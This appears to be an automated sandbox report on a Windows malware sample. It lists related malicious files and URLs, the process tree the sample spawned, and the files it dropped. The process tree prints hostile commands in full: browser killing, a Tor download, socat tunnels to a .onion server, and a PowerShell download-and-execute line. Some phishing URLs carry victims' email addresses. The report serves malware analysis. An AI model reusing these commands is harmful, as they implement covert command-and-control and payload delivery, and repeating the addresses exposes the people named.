	http://chongvapors.com/f.php?d=ZG9ubmEua2xpdHprZUBhbGJlcnRhaGVhbHRoc2VydmljZXMuY2E=		malicious	Browse	174.129.241.106
	Intuit_Invoice_649272.doc	643951eee2dac8c3677f5ef7e9cb07444f12d165f6e401c1cd7afa27d7552367	malicious	Browse	174.129.241.106
	http://chongvapors.com/f.php?d=ZG9ubmEua2xpdHprZUBhbGJlcnRhaGVhbHRoc2VydmljZXMuY2E=		malicious	Browse	23.23.170.235
	Ringcentral_Fax_654608.doc	0cb34a9c52755ec21ad7eda70aecb961b9751441df65f93a928bf48819c2f7ae	malicious	Browse	23.21.182.231
	Invoice_yahoo.doc	f9efadc1f2ff65179f005704fafaf63b7d8f6d9bb6be3e08329126634df2d333	malicious	Browse	23.21.182.231
	Invoice_yahoo.doc	5e23a6cb91e82f61d683620c9bdef57241b66e73c3f7a67260e20762bc7a1162	malicious	Browse	54.235.148.27
	Invoice_yahoo.doc	5e23a6cb91e82f61d683620c9bdef57241b66e73c3f7a67260e20762bc7a1162	malicious	Browse	23.21.182.231
	http://livenrich.us/vs.php?rsd=kyle.howson@albertahealthservices.ca		malicious	Browse	184.73.220.206
	http://elmparkfarms.com/?A0t8v6c80ib8=study@home.com		malicious	Browse	174.129.241.106
	tracking_info_125533.doc	45ce33d3461844999b883db1b54a51a37ac85115f17aea24906be23362562235	malicious	Browse	184.73.220.206
chocolatey.org	Sbb.ch_Quittung_16.11.2016.docx	1826c85dd589c5fc55e07076c109fd24877201f92fabc8511bbf942ffbf03879	malicious	Browse	104.20.74.28
dist.torproject.org	svchost.exe	e5c643f1d8ecc0fd739d0bbe4a1c6c7de2601d86ab0fff74fd89c40908654be5	malicious	Browse	82.195.75.101
dist.torproject.org	Sbb.ch_Quittung_16.11.2016.docx	1826c85dd589c5fc55e07076c109fd24877201f92fabc8511bbf942ffbf03879	malicious	Browse	78.47.38.226

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	11IVO,PL,BL_PD.exe	9ffd9651576c1db606f42278c724c16315014e0d97ec852f36d199ca94f22aa7	malicious	Browse	5.196.46.241
	facture.vbs	db79d005b20b4a7bbbba21cadd49bbf4ac8960ae8b6068a0e9fd56b3ad1b9c42	malicious	Browse	91.121.183.95
	index.doc	9949dccece62023379790e8b563d8a93bae156be13e7698f851a3804b72fa1c3	malicious	Browse	147.135.209.118
	https://kireymoveis.com.br/khealth/scan.html		malicious	Browse	149.56.20.63
	49HSTS187866.exe	00acf45e2abd18bc42b1d6f3a718a215f63fe1667e1d29ace66714d961306c3c	malicious	Browse	149.56.127.121
	24175368.exe	ce05e5c5368e41bea72958e05ba6ea43263e24351684998cd5f0d583ac9beb82	malicious	Browse	167.114.98.61
	http://elmparkfarms.com/?A0t8v6c80ib8=study@home.com		malicious	Browse	5.39.47.14
	https://agetechpma.com/commonlogin/office/		malicious	Browse	144.217.180.204
	35DHL03873541.exe	0919e77a726aefad303ed175f276dd158e799a47c71341d80a1416f69d50f727	malicious	Browse	5.39.99.51
	11IVO,PL,BL_PD.exe	9ffd9651576c1db606f42278c724c16315014e0d97ec852f36d199ca94f22aa7	malicious	Browse	5.196.46.241
	a5pFZjeKy.exe	a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821	malicious	Browse	91.134.203.113
	49Proforma Invoice SO-01201800025 TT Slip Pdf.exe	851887e4b4b8f3d3340c753b8da8cb70542d77292d7fa20fcea0cf8db95b9461	malicious	Browse	158.69.33.229
	http://admadmin.com/check.exe		malicious	Browse	149.56.127.121
	ffCVtQ6H04.exe	354d3e1e6fd9d4532a0fc15be8fb3d200db95cb3e6bb1a673b9432d46b3ef59a	malicious	Browse	37.59.56.102
	SUPERsetup.exe	e0dbe12c88421865f4d555368a82b41ac938b373afb4f6144497f0f76536e62f	malicious	Browse	167.114.187.146
	boZcdXbO5.exe	6243a29c33fac82faaba0c5566aa70a558adc26ad50ddf79d061a07206d42a9b	malicious	Browse	188.165.32.10
	cam9N2Y0s.doc	a56a2e5f4040ece0d6d966ea88ec3423f3a6a5b83dd567dbd93068fe66f87a80	malicious	Browse	149.56.223.252
	1227.exe..exe	8da604d1e647587d4ee4c13b4bc63b50cddaa9a476fd0b823d8af02f4d89750a	malicious	Browse	137.74.98.30
	fax_273194.doc	42da997df77d59d9375273e0cb8f5c4d4d39cc4845ec9f6cabc5180fcf3fdf72	malicious	Browse	5.39.47.14
KEMINETAL	43bank swift.jar	4040f61b014e8ff098060083459219905de51f41bdb4d494747bd461bf0e1fee	malicious	Browse	31.171.155.34
KEMINETAL	69PAYMENT SWIFT.jar	a02e8ba92bf63a50d1939b8a64d718e78648956e436ef3923f91489fd1062a81	malicious	Browse	31.171.155.36
EDGECAST-MCICommunicationsServicesIncdbaVerizonB	download.cnet.com//g00/2_d3d3LmJvc3Rvbi5jb20%3D_/TU9SRVBIRVVTOCRodHRwOi8vY3AtaW4ubmFub3Zpc29yLmlvL2NsaWVudHByb2ZpbGVyL2FkYj9pMTBjLm1hcmsuc2NyaXB0LnR5cGU%3D_$/$/$		malicious	Browse	93.184.216.180
	https://agetechpma.com/commonlogin/office/		malicious	Browse	93.184.220.20
	http://leemitchell.com/?reqp=1&reqr=		malicious	Browse	93.184.216.180
	http://thedreamconnector.com/i/office/365/office/index.html		malicious	Browse	93.184.220.20
	http://newsletter.knowbe4.com/a/1022/click/583/2485550/b0b95ee283cb9cc9fc41475b777a158c4a77b943/c87bbaf38d4b29945b7da12c092baef68324febe		malicious	Browse	192.229.133.150
	pontalina.go.gov.br/box/outlk_page.html		malicious	Browse	93.184.216.180
	https://www.imageliners.com		malicious	Browse	72.21.81.200
	188.225.9.27/?MTI1NzA5&ate=SwE3zopfBF8R_qyu2kXUyhLKgpOCqBaEZwlFqpHAQbRtjlnxyrUcdsh0khPW4GVRy-ktYl4gpQ5R2arI&mai=c3Rvcm1lZA==&info=dW5rbm93bg==&wow=xHrQMrLYbRzFFYHfKP7EUKZEMUrWA0WKwY2ZhavVF52xFDXGpbb1FxnspVidCF6EmvBvdLcHIwah1UHA&news=cmVwb3J0&denominations		malicious	Browse	93.184.221.185
	http://newsletter.knowbe4.com/a/1022/click/583/2485550/044ac0b3da603dc543019ea4b8f92228baf8fbe8/c87bbaf38d4b29945b7da12c092baef68324febe		malicious	Browse	192.229.133.150
	https://account.microsoft.com/activity		malicious	Browse	152.195.32.39
	11qqAtwZjQcJ.exe	1b8e1c6957039a820070b56c0755188a310aa7abd26203ed866d63ad66239889	malicious	Browse	192.229.182.144
	www.iedhh.com		malicious	Browse	152.195.15.100
	http://propertydepot.com.ng/wp-content/uploads/site/fam/office365/index.php?email=mayorandcouncil@santaclaraca.gov		malicious	Browse	72.21.81.200
	exifrename-0.0.2-setup.exe	2dc7092684a2852d4d44b1b431685485978e22a34d315f22e10b954e64ca54c2	malicious	Browse	117.18.232.200
	33redacted@threatwav.exe	359138c9224c35d3f5e102ac0bf4c3a1447b61a9241c376c3e0f24d1f377a877	malicious	Browse	192.229.182.144
	http://thehydrationfoundation.org/xupx/ok/cnb/nsvdj/ndbs/vvsc/xbve/vsky/bxvsf/?userid=mayorandcouncil@santaclaraca.gov		malicious	Browse	72.21.81.200
	6rCb6VW7i.pdf	adab915a279c24a6510a26309db68624456c3eee9c782d98b825e53bacd37476	malicious	Browse	72.21.81.200
	index.html	1c9199d6a5d122766a27bb844acccb065a34ddd0e4a88b7559562905b3da793d	malicious	Browse	72.21.81.200
	https://buildingservices.lk/commonlogin/office/		malicious	Browse	152.195.32.39
	http://nopsema.us2.list-manage.com/subscribe?u=bdaa82c073e38447746b04219&id=00903787e0		malicious	Browse	152.195.34.121
CLOUDFLARENET-CloudFlareIncUS	64Payment copy.exe	58b0a01c303584572765c7647f7af2795b52c888ee07cd363bee759f98c64aa0	malicious	Browse	104.16.16.96
	4Z2RSTpXD2.dll	a20f1c77ea12e581c5692ce596c6ce5abe03580d5efdfa8dfb3f8ecee28f1cef	malicious	Browse	104.17.39.137
	kUYtTbD7u4.dll	14c61bf731c4bae229146f6d5cb943262bbc08ccd6d7a90301251d067ea29b39	malicious	Browse	104.17.41.137
	download.cnet.com//g00/2_d3d3LmJvc3Rvbi5jb20%3D_/TU9SRVBIRVVTOCRodHRwOi8vY3AtaW4ubmFub3Zpc29yLmlvL2NsaWVudHByb2ZpbGVyL2FkYj9pMTBjLm1hcmsuc2NyaXB0LnR5cGU%3D_$/$/$		malicious	Browse	104.16.163.13
	3ncfAL7JF3.dll	db03911ce39e825a2458b10a3771d6ef634e9a7157e66743d186fe8e6c3966e5	malicious	Browse	104.17.38.137
	https://kireymoveis.com.br/khealth/scan.html		malicious	Browse	104.27.138.193
	75PO9981.exe	70cee9bad5d21523f0b0d8e4f9207b7c08983dedc459624c6203c9edb8b1b2b2	malicious	Browse	104.28.18.249
	47Scan copy 02111.exe	133d8f560103b65ccaace59b5471a66c97848aff91e1dfb9c7c5201957472d79	malicious	Browse	104.16.16.96
	61HACHINSP-065-2850..exe	09fcfc14cd27af7ed799cb8a28076ff58562d70503bc6d3b6fe84d0d3dc162b0	malicious	Browse	104.16.16.96
	px0FarKCnG.dll	deaf8279ee590171f841d7e320283f030d6df2fce640c35a137bef7b229f37f4	malicious	Browse	104.17.38.137
	http://sociallence.com/wp-content/uploads/asgarosforum/index_test.php/ahsq/?2hpen8pqg473pbp/		malicious	Browse	104.19.194.102
	yqfho9tdJQ.dll	6d50f58cb56d908258a5ce9ee8efd5114950d25103b3f7f4c0c3443325cd7b21	malicious	Browse	104.17.37.137
	htSbNbPEzf.dll	0edcbbb7b08fee88f21c243ae2fb29db396822995b22e84dbf7dc58993958667	malicious	Browse	104.17.38.137
	VyaN6Dz6pH.dll	4a17c8cbc25d3db67654dae8c2352df8464ed21f3dd4c577dc7b8057f260d339	malicious	Browse	104.17.38.137
	x74Y7bQLPJ.dll	0d5968f505d0f0b295117590f5ffb7178bd57b1dc3682fecbc29c995949e863e	malicious	Browse	104.17.37.137
	http://wcdownloadercdn.lavasoft.com/4.0.1767.3319/WcInstaller.exe		malicious	Browse	104.17.60.19
	97contract po.exe	d80ec10224bf9c35cac5bbf7a3b8f7fcd408360f073710303cc358a60b88a3eb	malicious	Browse	104.16.18.96
	xwy7u21vLg.dll	b7c3df37f6143318d433762bc187da2f8183716baec067ae6d92d8a210db6c95	malicious	Browse	104.17.41.137
	GA43ZqCAsC.dll	1245311807d009869f5764d02122ad0c83f7285064e4eb84344651f56ee0e7e5	malicious	Browse	104.17.39.137
	TR4-6A6201-N.pdf	4b7577bb422c8dc3a9bdbcf9b8a120ed85cf1078461529f8c944dd3874b2d664	malicious	Browse	104.24.102.74
AMAZON-AES-AmazoncomIncUS	http://livenrich.us/vs.php?rsd=kyle.howson@albertahealthservices.ca		malicious	Browse	34.227.195.185
	download.cnet.com//g00/2_d3d3LmJvc3Rvbi5jb20%3D_/TU9SRVBIRVVTOCRodHRwOi8vY3AtaW4ubmFub3Zpc29yLmlvL2NsaWVudHByb2ZpbGVyL2FkYj9pMTBjLm1hcmsuc2NyaXB0LnR5cGU%3D_$/$/$		malicious	Browse	52.201.45.50
	19Scan_012394 inquiry december .pdf.exe	3254a69a6925a970edce2644e01170270f189e194f0fd11269f8f82396629c7a	malicious	Browse	52.71.185.125
	Sonic_Academy_-_KICK_2_v304_macOS_R2R.app.zip	1d3d80fde7efc252a0858e82b5aa0f80e1b8656330a5669827edec5353b8f7c3	malicious	Browse	34.225.153.59
	http://elmparkfarms.com/?A0t8v6c80ib8=study@home.com		malicious	Browse	174.129.241.106
	tracking_info_125533.doc	45ce33d3461844999b883db1b54a51a37ac85115f17aea24906be23362562235	malicious	Browse	184.73.220.206
	23yjdyAES7Tg.exe	516bc6027af852b6d2283888b2f73cdb2b1dc6a100d7324b246ef2d21f5b7515	malicious	Browse	52.86.22.136
	13Swift Advise PDF.exe	102e40cf5f3ef11ccc33e636ff3cbff95d753cd6bee3015e24e8d673d86051a1	malicious	Browse	34.232.43.118
	23system@noemai.exe	5802c38dffd1caea47ab2b0ad91fa94bcdc0e5c10d5e9a2bfeed5b04d63f92e8	malicious	Browse	54.82.28.248
	south-park-phone-destroyer.apk	6a838a8dc24b7a1f69dcbb30bd35bebe861fd69f57bd00d254316fc29773fb48	malicious	Browse	23.23.129.71
	71Remittance Copy #U9pdf.exe	8ca68449212009c6840d984182ed5497e5d9aacfb563e87151dae7756d305314	malicious	Browse	52.71.185.125
	fax_273194.doc	42da997df77d59d9375273e0cb8f5c4d4d39cc4845ec9f6cabc5180fcf3fdf72	malicious	Browse	174.129.241.106
	Fax message.js	1d50065b9cfcd52d914bd2bb6d1dcd3d1c71369fa5fc1a159048286e2e587061	malicious	Browse	50.17.192.147
	D0go3YX4v5.exe	7751c51d02439f707e4b1fbc72cde4bb5cbca628ddc32b1e0b78c0b99744281e	malicious	Browse	54.225.199.17
	49messag.exe	f9fb805bf9b1362aa8ebf14f80fc70bf0ae77fd253d9531f912e4e41de98e961	malicious	Browse	54.156.233.45
	http://newsletter.knowbe4.com/a/1022/click/583/2485550/b0b95ee283cb9cc9fc41475b777a158c4a77b943/c87bbaf38d4b29945b7da12c092baef68324febe		malicious	Browse	52.5.59.73
	agreement_187798.doc	6fe85a61e30079df0899027fcd8dde318984044a2f0e3904e87d33c8e6fd9247	malicious	Browse	184.73.220.206
	41mai.exe	db1889993575cb95b96c848a92c2ea3214e57ed916d0775683a7a2350a8d707b	malicious	Browse	107.23.3.125
	23HT1010011010.exe	d6e073f87c8d764da5d7bd84a6b4eccebf9ed958f13aa194e9a682c57a10597d	malicious	Browse	52.71.185.125
	60DocsScanIMG658999009889.exe	85fa11231170de764af37d749032ed6298b3e26cfab769eea4fffc67174a9889	malicious	Browse	52.7.10.163
RETHEMHOSTING-RethemHostingLLCUS	boZcdXbO5.exe	6243a29c33fac82faaba0c5566aa70a558adc26ad50ddf79d061a07206d42a9b	malicious	Browse	154.35.32.5

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\7za.exe	092016.js	6d9308a954a5dbd5cd2de6af9b16e7571468b98b8ebdf349b14e2a86ee5206c2	malicious	Browse
	Sbb.ch_Quittung_16.11.2016.docx	1826c85dd589c5fc55e07076c109fd24877201f92fabc8511bbf942ffbf03879	malicious	Browse
	malware.exe	b75ca73e1574a367fdd21f0b462b6d725e68df4040cf5c0c95f88de46a33c157	malicious	Browse

Screenshot

Startup

System is w7_lang_packs

bbtsvbq.exe (PID: 3724 cmdline: 'C:\Users\user\Desktop\bbtsvbq.exe' MD5: 85FC638BD373AF9A95C715BC4F8B97FC)

cmd.exe (PID: 3788 cmdline: 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' MD5: AD7B9C14083B52BC532FBA5948342B98)

powershell.exe (PID: 3816 cmdline: powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

7za.exe (PID: 3896 cmdline: 'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip' MD5: 42BADC1D2F03A8B1E4875740D3D49336)

cmd.exe (PID: 3924 cmdline: 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' MD5: AD7B9C14083B52BC532FBA5948342B98)

bitsadmin.exe (PID: 3948 cmdline: bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' MD5: 0920B14AA67A8B04ACF48FFE7C6F0927)

7za.exe (PID: 3976 cmdline: 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip' MD5: 42BADC1D2F03A8B1E4875740D3D49336)

7za.exe (PID: 2292 cmdline: 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip' MD5: 42BADC1D2F03A8B1E4875740D3D49336)

find.exe (PID: 3824 cmdline: find /v '' MD5: 5816034B0B629756163B80838853B730)

taskkill.exe (PID: 2136 cmdline: 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe MD5: 94BDCAFBD584C979B385ADEE14B08AB4)

taskkill.exe (PID: 2152 cmdline: 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe MD5: 94BDCAFBD584C979B385ADEE14B08AB4)

taskkill.exe (PID: 2608 cmdline: 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe MD5: 94BDCAFBD584C979B385ADEE14B08AB4)

cmd.exe (PID: 2572 cmdline: 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' MD5: AD7B9C14083B52BC532FBA5948342B98)

powershell.exe (PID: 2092 cmdline: powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

csc.exe (PID: 2364 cmdline: 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline' MD5: 0A1C81BDCB030222A0B0A652B2C89D8D)

cvtres.exe (PID: 2248 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp' MD5: 200FC355F85ECD4DB77FB3CAB2D01364)

find.exe (PID: 2320 cmdline: find /v '' MD5: 5816034B0B629756163B80838853B730)

cmd.exe (PID: 2896 cmdline: 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' | find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log' MD5: AD7B9C14083B52BC532FBA5948342B98)

taskeng.exe (PID: 3996 cmdline: taskeng.exe {7FB8942A-D520-4069-87A1-8D11961A18B0} S-1-5-21-312302014-279660585-3511680526-1005:user-PC\user:Interactive:[1] MD5: 4F2659160AFCCA990305816946F69407)

mshta.exe (PID: 4028 cmdline: mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False)) MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

tor.exe (PID: 4084 cmdline: 'C:\ProgramData\VitBTKxRu\Tor\tor.exe' MD5: D285E74CE4577240F76B4499CAD36ED2)

mshta.exe (PID: 2268 cmdline: mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False)) MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

socat.exe (PID: 2280 cmdline: 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050 MD5: 766E8642435B47F71DE8C5BF71387F5A)

mshta.exe (PID: 2692 cmdline: mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False)) MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

socat.exe (PID: 2124 cmdline: 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050 MD5: 766E8642435B47F71DE8C5BF71387F5A)

mshta.exe (PID: 2640 cmdline: mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False)) MD5: ABDFC692D9FE43E2BA8FE6CB5A8CB95A)

powershell.exe (PID: 2380 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F' MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

cleanup

Created / dropped Files

C:\ProgramData\7za.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	true
Reputation:	low

C:\ProgramData\C4CqRww6.ps1
File Type:	data
MD5:	1C2B9F90E64A1C2538C6FCBD023DCF57
SHA1:	36BD554F2B94B95E671A0D80076528465904E65E
SHA-256:	4907E1364DCCF5E24AF68B65D454025E558BA07FB93C429F2A110805EE83A9C4
SHA-512:	7DB7BC4997F902BE05D73C099DBC48D5E0AC9934DA6B71777825B69896D10B6689509EAA9EC34DDD9A9D42E0869FEB803B6D4ED67DB182BEBEE48C38B7F20446
Malicious:	true
Reputation:	low

C:\ProgramData\VitBTKxRu\Data\Tor\geoip
File Type:	ASCII text
MD5:	C41F34CA3D666441B9DF6882C2FD2D18
SHA1:	FFF720BFE755EA919745A180BCDE47E81753C728
SHA-256:	31B4C7DB23B154E1DF86F68CD55B8FFF6A2327933C0DDF8169092662E73A6DBB
SHA-512:	2C520020FBBAC1FC92E032A9CCC790612181C4CA6E3196C66365A6E0D41BF5DDA1D152538AF43245F89172DBCADA7EBF9AE88570FC2F161E28F9D57A43523E87
Malicious:	false
Reputation:	low

C:\ProgramData\VitBTKxRu\Data\Tor\geoip6
File Type:	ASCII text
MD5:	91ACFC0C872EB43A1A2B4A6EEEEF7B30
SHA1:	F6287EF4C72D094EDB693CEA7B65D60EA4F0CBB9
SHA-256:	8CBFCF72CD0DEEB62C7124EC438983E6398ACD947A7166248EC1A0035C4356E9
SHA-512:	54693AF32E92BF31EF14D46A2D2B2DDB152170F3E144440F8735F3744125B6CA1AFB341396194B12B3C89E8CFDA72936FAACABC9FB8AB332A9385E5BEE1B3C1B
Malicious:	false
Reputation:	low

C:\ProgramData\VitBTKxRu\Tor\libeay32.dll
File Type:	data
MD5:	F7D9BF49929FCAEE8B506656B55F1452
SHA1:	ADFA1620F3CDC7CD7F878E33801882A15DBB36A1
SHA-256:	7FD6B930544D9FB15BFCB6EF86F961109D30C23F23CF61295BA4514C6B9AEF6B
SHA-512:	ED7E54D4500255EF3723957642FE6C62A81DCCCFBA82AB8D2557B9451CC0B3C0E8578A5362B801E4537ED7B70F4B714106D1DF97903344600C38BBFBE8CEEAAD
Malicious:	false
Reputation:	low

C:\ProgramData\VitBTKxRu\Tor\libevent-2-0-5.dll
File Type:	data
MD5:	F6CE83F4098643E7301BC42708621C5F
SHA1:	7DE29649265EBFE8FB89EBDCACAC250531D268F5
SHA-256:	EB6CFD4D1079055B724E6B2E20AF4400594ACC1F2B1565BF7D015FE7464142F2
SHA-512:	5CF62097DD88B1C97D54F0D43B0B133F01CD2BA4018BBECF9653171733026ADE3741C269104AC4DDB9B67ABDC9C278F42A9455F115486CB9F63E3F719EC640CA
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\libevent_core-2-0-5.dll
File Type:	data
MD5:	FC0CC4710E3B9C960DD4BE636BFEF15F
SHA1:	B3D64EF46188ADF5A3856C7BF8833FECF1604E96
SHA-256:	2EC218017BB062AAC48E8AEE8DEA8694FC8B65399DDEFF0E3490FC87F717D085
SHA-512:	84AB8955EDB3F9F318A72C8F64444D497ADB378F35B93327CA71EA1E20C02A18DE26FBAA1211457C7DDDA14D422C454E9FDAB5498A4579926B96E9B8DE5576E9
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\libevent_extra-2-0-5.dll
File Type:	data
MD5:	7478D776A793F8007E3B039EE5AEAE33
SHA1:	364D98FEDFA638B3A6B4BB6F676CBAB287013BFF
SHA-256:	1623C7A6A18D80C1D467D3D035D600F8723B9917882B699328FEA30231587176
SHA-512:	22A4B88860C8285AF3312A64E3F294F6DA380DCCF29146DB7ACAB5BBF96BAD1178D180D606EBD4B06E9CFACA098B5CB05347FEDE8B9303CB9ABCE96503194E42
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\libgcc_s_sjlj-1.dll
File Type:	data
MD5:	2C67A4A91E17B74C9CAAD7126D95D4A8
SHA1:	04653EE85C9089D54C3C6854B5B18182316A0081
SHA-256:	AF76110111D0DCAB30D1D1EDC577C734763B6DCB40C2A811665FC9196B86BC88
SHA-512:	FAEFAFD95C31086BD56A4C877B9D282DAE0C705A4057769DDEABEC1C96FF0BF3324858D55C30CB68FF78A049605B6655C0D34E13CBCCCF3E8DB0F35119BE9234
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\libssp-0.dll
File Type:	assembler source text
MD5:	DD2863EA6F14B8E61D74446F49DFA0E4
SHA1:	091A3E4793EC68D9CED5CEBB369BB0288EF46147
SHA-256:	C98251DAABB7EC59156DFFCC528D9E80F504244D259FD4A9E09DDBA0ECC6D3BC
SHA-512:	F0E4D64DE74A2E8B308F570B7A879425A83DE6587CA90878FB7B0D5CA95B445B9D5F241C6A8BB8FCFDCE7562EB6DA7F89DB25DD6BFB93CBF72F003D1EF376C24
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\ssleay32.dll
File Type:	data
MD5:	FEB0DC9A8F9316764EB154F488EF372A
SHA1:	BCAD5B488B23EDB1C1758C82710F9AB0367D83CE
SHA-256:	B5AD5EDC5DBFB6EE3A6A43E5A87C8822BC79BD6EBD01284D7FBBFA098BBEBC66
SHA-512:	97619C2A28A3D399CF214FB1AE61DB8CCA6D4D419A03020D9C6A6F03E9E7A09312D90211D803242C0E3C7BB87AF281EACC87D9134DE34C394B187CBCF30B9515
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\tor-gencert.exe
File Type:	data
MD5:	C831CA400C196F6F0B3D68498449A7AB
SHA1:	D441E4ADD2657C770DE6441ADEF5823109FF5A88
SHA-256:	C84ADAD763C39C08157F1D238740018902F704CE8A12C56717EA2F3BC7BAFD82
SHA-512:	1A1B17ADC723F0A3197EBB13F47AA64FCB48E13B3405DC24FE1D226639A42FCB9D90C4B0399F039687BEF8FF4150C33ADC04C57A96ABE72BBA5AC4069634FDDD
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\tor.exe
File Type:	data
MD5:	B34570DEEC7BD59D2EEE3235AA932972
SHA1:	E3B775B8919A01D22662816269B8E017A9C01D4F
SHA-256:	D3D8E3F25F736B9ABEBEA9FDD7AC9AD76CAF8FB5AFC4DD23B33F9409D4303DF3
SHA-512:	E54D93CEBF03A33AC43E9386671B24A47D231DF37C443CDB9DA55C9AFE2154F9B0DE52E515A4B7E82882D35D3F9E59A3C4BAB481A89DB23BE471168A9C318C05
Malicious:	true
Reputation:	unknown

C:\ProgramData\VitBTKxRu\Tor\zlib1.dll
File Type:	SysEx File -
MD5:	CE0B5DF68584A4411B5DD97012B9A02A
SHA1:	A185429D29865D845AFDCC86C1CD576258051C02
SHA-256:	AFAEC3FA181F4664A9122CDE8D003C1198A2AC38C38139FEBFF03848C3579657
SHA-512:	FA289F48DB7624CE7386B15BCC72CBA3EC053468BCB8421E5FFC9619F53A9A9B42C8FC5C7425D14012A35C48740052777EEA258D0B71A12E46E27C621BC53649
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\BUGREPORTS
File Type:	ASCII text
MD5:	74D630B72941CBE7BC359B32A3688A0D
SHA1:	25C528DCD4A34B4D082FC9B8B5C317448118BA98
SHA-256:	58C9028236750FA5415223D91463900C1D49F68C7BA540B7B2F97D0FE172A45D
SHA-512:	92CB484C5F91E7E380C4DAC5180D1906F455C37A0CB0695B17E0931D4C45781764AA7FBDE8284DE8184969C1A5E9E92541F5467862BD859938C875B1F7014C06
Malicious:	false
Reputation:	unknown

C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\CHANGES
File Type:	C source, ISO-8859 text
MD5:	7C41647D41A74452892A0A51A4A5E076
SHA1:	9B1BD477D77B6955CA7B2658149281CFCF976CB1
SHA-256:	0D8917A7E2E6B071A4EF54BA2CDDF42643C1D7A96F789E677F7F21D197710CE3
